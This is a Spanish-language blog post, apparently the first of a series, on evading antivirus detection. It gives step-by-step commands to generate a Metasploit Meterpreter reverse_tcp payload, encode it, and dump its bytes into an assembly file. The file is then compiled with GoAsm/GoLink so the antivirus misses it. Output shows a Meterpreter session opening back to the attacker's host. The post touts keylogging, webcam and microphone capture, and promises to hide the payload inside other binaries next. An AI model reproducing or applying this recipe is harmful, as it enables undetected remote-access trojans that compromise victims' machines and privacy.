
De una forma fundamental, el mecanismo de acción de estos sistemas de protección (antivirus) está destinado a "fallar". Esta sentencia catastrófica se debe a que de una u otra forma, su funcionamiento está basado en el reconocimiento de "firmas" o patrones de uso. El gran número de posibilidades que existen para la creación de sistemas, tanto maliciosos o no, hace que la tarea de detectar en un 100% las amenazas sea imposible. Sin embargo, los sistemas antivirus han sido usados por nosotros tradicionalmente por decadas, y a falta de un mejor substituto no dejarán de ser usados

Para comenzar, es necesario seleccionar la funcionalidad troyana a ser embebida. Mi favorita son los "payloads" de metasploit. Primeramente por su flexibilidad, pero segundo porque a pesar de que los fabricantes antivirus afirmen fervientemente que son capaces de detectarlos, la verdad parece ser lo contrario.
Para comenzar, creamos un payload con metasploit y comprobamos su detección por el antivirus:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 X > meterpreter.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.137.1", "LPORT"=>"80"}
root@bt:~#
Este resultado no cambia aún si realizamos "encoding" a nuestro payload antes de presentarlo al sistema windows protegido por este antivirus:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t exe > meterpreter_encoded.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt:~#
Es aquí cuando los fabricantes de antivirus cantan victoria. Sin embargo, nótese cómo ambas detecciones son con respecto a algo "generico": swPatch, y no algo específico/propio de las caracteristicas de este payload. Como bien apunta mi colega Leandro Leoncini, es más que suficiente la siguiente receta para evadir completamente esta detección:
root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=80 R | msfencode -t raw | xxd -i - > meter_asm.asm
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
root@bt:~# vim meter_asm.asm
root@bt:~# cat meter_asm.asm
data section
payload db 0xbe, 0x93, 0x0a, 0xb5, 0xab, 0xdb, 0xd9, 0xd9, 0x74, 0x24, 0xf4, 0x58, 0x29, 0xc9, 0xb1, 0x49, 0x31, 0x70, 0x14, 0x83, 0xe8, 0xfc, 0x03, 0x70,
[snip]
0x02, 0x59, 0x85, 0xaa, 0x6a, 0x67, 0xf0, 0x9d, 0x35, 0x98, 0xd7, 0x1f, 0x0a, 0x4f, 0x1e, 0x9a, 0x7a, 0xe5, 0x72, 0x66
code section
start:
call payload
root@bt:~#
Luego en un sistema Windows, compilamos y enlazmos con (por ejemplo):
C:\Documents and Settings\winxp\Escritorio\test>GoAsm.Exe meter_asm.asm
GoAsm.Exe Version 0.56.8 - Copyright Jeremy Gordon 2001/9 - JG@JGnet.co.uk
Output file: meter_asm.obj
C:\Documents and Settings\winxp\Escritorio\test>GoLink.exe meter_asm.obj
GoLink.Exe Version 0.26.14 - Copyright Jeremy Gordon 2002/9 - JG@JGnet.co.uk
Output file: meter_asm.exe
Format: win32 size: 1,536 bytes
C:\Documents and Settings\winxp\Escritorio\test>
El resultado:
Lo que demuestra que el antivirus anteriormente no estaba detectando el payload si no algún patron de la forma en que se construye el ejecutable a través de metasploit.
De regreso en nuestra consola de metasploit:
[*] Sending stage (749056 bytes) to 192.168.137.67
[*] Meterpreter session 1 opened (192.168.137.66:80 -> 192.168.137.67:4271) at 2011-06-04 15:41:08 -0400
meterpreter >
Lo cual significa que ya podemos empezar a tomar screenshots, capturar teclas escritas, prender la camara web, prender el micrófono, sniffear tráfico y un gran etcétera.
En la siguiente parte de esta serie de artículos, demostraremos cómo insertar la funcionalidad que acabamos de ocultar completamente de nuestro antivirus dentro de otro binario completamente independiente. Con esto logramos que la presencia de nuestro payload sea aún más inconspicua y le quitamos al antivirus cualquier esperanza de detectar la forma en que el payload es armado en un ejecutable. "Stay tuned".
No hay comentarios:
Publicar un comentario